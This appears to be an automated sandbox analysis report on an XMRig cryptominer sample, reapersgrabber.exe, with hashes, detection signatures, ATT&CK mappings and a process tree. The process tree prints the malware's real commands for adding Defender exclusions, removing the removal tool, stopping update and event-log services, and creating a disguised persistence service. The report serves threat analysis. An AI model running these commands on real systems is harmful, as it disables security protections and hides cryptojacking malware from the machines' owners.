xmrig | 7fa4cfc4cc7cb632a8c247a39ab4a0bc3d65470f05210da507de32f524a8cd20

Analysis

max time kernel
77s
max time network
79s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 20:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

REAPERSGRABBER/reapersgrabber.exe
Size

6.6MB
MD5

a8771e7e3c8e5487bfe7cc420e45805d
SHA1

083dd0dafd61c78d3fc385d6d6d20274c4fbc52f
SHA256

c877050dc8ce4a7abef92b2bfb49b5dc9da50edc0da31f27c7389d2aed2919e5
SHA512

6029d31a8beb0a8f696adb91ca33c393e37ca5020abc6eb7819b8d2a129c32e1ed996c06f1bda0dfc1a0db697f176b8c8953302ff51800013d9cd72d68247d0d
SSDEEP

196608:2P9X2sC/cRUfNyW6yLr217ohh0vQFPOoh:2hC0+N9qVxvQIo

Score

10^/10

xmrig defense_evasion discovery evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/5032-136-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-140-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-141-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-138-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-139-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-135-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-142-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-143-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-144-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-145-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-146-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/5032-160-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1044	powershell.exe
208	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	reapersgrabber.exe

Executes dropped EXE 3 IoCs

pid	Process
3696	ReapersGrabber.exe
884	setup.exe
3132	updater.exe

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5032-130-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-133-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-134-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-136-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-140-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-141-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-138-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-139-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-135-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-132-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-131-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-142-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-143-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-144-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-145-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-146-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/5032-160-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
35	pastebin.com
36	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3748	powercfg.exe
2232	powercfg.exe
1456	powercfg.exe
4116	powercfg.exe
3740	powercfg.exe
2824	powercfg.exe
320	powercfg.exe
2276	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	setup.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3132 set thread context of 1252	3132	updater.exe	150
PID 3132 set thread context of 5032	3132	updater.exe	154

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4712	sc.exe
4104	sc.exe
2380	sc.exe
1596	sc.exe
3304	sc.exe
760	sc.exe
3580	sc.exe
1652	sc.exe
4820	sc.exe
1540	sc.exe
3724	sc.exe
2316	sc.exe
3084	sc.exe
5052	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reapersgrabber.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReapersGrabber.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5068	powershell.exe
5068	powershell.exe
884	setup.exe
1044	powershell.exe
1044	powershell.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
884	setup.exe
3132	updater.exe
208	powershell.exe
208	powershell.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
3132	updater.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe
5032	explorer.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeShutdownPrivilege	1456	powercfg.exe
Token: SeCreatePagefilePrivilege	1456	powercfg.exe
Token: SeShutdownPrivilege	2824	powercfg.exe
Token: SeCreatePagefilePrivilege	2824	powercfg.exe
Token: SeShutdownPrivilege	3740	powercfg.exe
Token: SeCreatePagefilePrivilege	3740	powercfg.exe
Token: SeShutdownPrivilege	4116	powercfg.exe
Token: SeCreatePagefilePrivilege	4116	powercfg.exe
Token: SeDebugPrivilege	208	powershell.exe
Token: SeLockMemoryPrivilege	5032	explorer.exe
Token: SeShutdownPrivilege	2232	powercfg.exe
Token: SeCreatePagefilePrivilege	2232	powercfg.exe
Token: SeShutdownPrivilege	2276	powercfg.exe
Token: SeCreatePagefilePrivilege	2276	powercfg.exe
Token: SeShutdownPrivilege	320	powercfg.exe
Token: SeCreatePagefilePrivilege	320	powercfg.exe
Token: SeShutdownPrivilege	3748	powercfg.exe
Token: SeCreatePagefilePrivilege	3748	powercfg.exe
Token: SeDebugPrivilege	3372	taskmgr.exe
Token: SeSystemProfilePrivilege	3372	taskmgr.exe
Token: SeCreateGlobalPrivilege	3372	taskmgr.exe

Suspicious use of FindShellTrayWindow 52 IoCs

pid	Process
3696	ReapersGrabber.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe

Suspicious use of SendNotifyMessage 51 IoCs

pid	Process
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe
3372	taskmgr.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 5068	4032	reapersgrabber.exe	85
PID 4032 wrote to memory of 5068	4032	reapersgrabber.exe	85
PID 4032 wrote to memory of 5068	4032	reapersgrabber.exe	85
PID 4032 wrote to memory of 3696	4032	reapersgrabber.exe	88
PID 4032 wrote to memory of 3696	4032	reapersgrabber.exe	88
PID 4032 wrote to memory of 3696	4032	reapersgrabber.exe	88
PID 4032 wrote to memory of 884	4032	reapersgrabber.exe	89
PID 4032 wrote to memory of 884	4032	reapersgrabber.exe	89
PID 2808 wrote to memory of 1148	2808	cmd.exe	107
PID 2808 wrote to memory of 1148	2808	cmd.exe	107
PID 4460 wrote to memory of 1752	4460	cmd.exe	138
PID 4460 wrote to memory of 1752	4460	cmd.exe	138
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 1252	3132	updater.exe	150
PID 3132 wrote to memory of 5032	3132	updater.exe	154
PID 3132 wrote to memory of 5032	3132	updater.exe	154
PID 3132 wrote to memory of 5032	3132	updater.exe	154
PID 3132 wrote to memory of 5032	3132	updater.exe	154
PID 3132 wrote to memory of 5032	3132	updater.exe	154

C:\Users\Admin\AppData\Local\Temp\REAPERSGRABBER\reapersgrabber.exe
"C:\Users\Admin\AppData\Local\Temp\REAPERSGRABBER\reapersgrabber.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAawBuACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAdwBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAeAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAYwBwACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Users\Admin\AppData\Local\Temp\ReapersGrabber.exe
  "C:\Users\Admin\AppData\Local\Temp\ReapersGrabber.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:3696
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:884
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1148
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3304
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:760
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4820
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:3580
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1652
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1456
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4116
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3740
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:4712
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4104
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:2380
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:1540

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3132
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1752
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1596
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2316
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3084
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5052
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3724
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:320
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2276
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2232
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1252
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5032

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1900

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
c2383f3a2b8316322901dce161e16766

SHA1
81f393b0f30720e6cc7ab1f6a623597e72105c93

SHA256
30e701a0d1d2b2c716dac0691a7d81b074d3f57dbdbdb00e04ec43ce5f7ccf2e

SHA512
afcea56b3e758de6f9388e31c7d9b13d6310bd9a6518fa2e76862542c37ab18e3abc4e0002e92885cccd43ab55c3a8cd2faf159c1bcd0deb39a0c98d4bd9e134

Download Submit
C:\Users\Admin\AppData\Local\Temp\ReapersGrabber.exe

Filesize
1.5MB

MD5
0ac146eea5afbf197168614f257b783e

SHA1
afa3b961ab09e2685c32d558e3429c71bf43b195

SHA256
da8ab91f378cb595d8a809aba371442d943f211d7c1497adccd5824be669d91b

SHA512
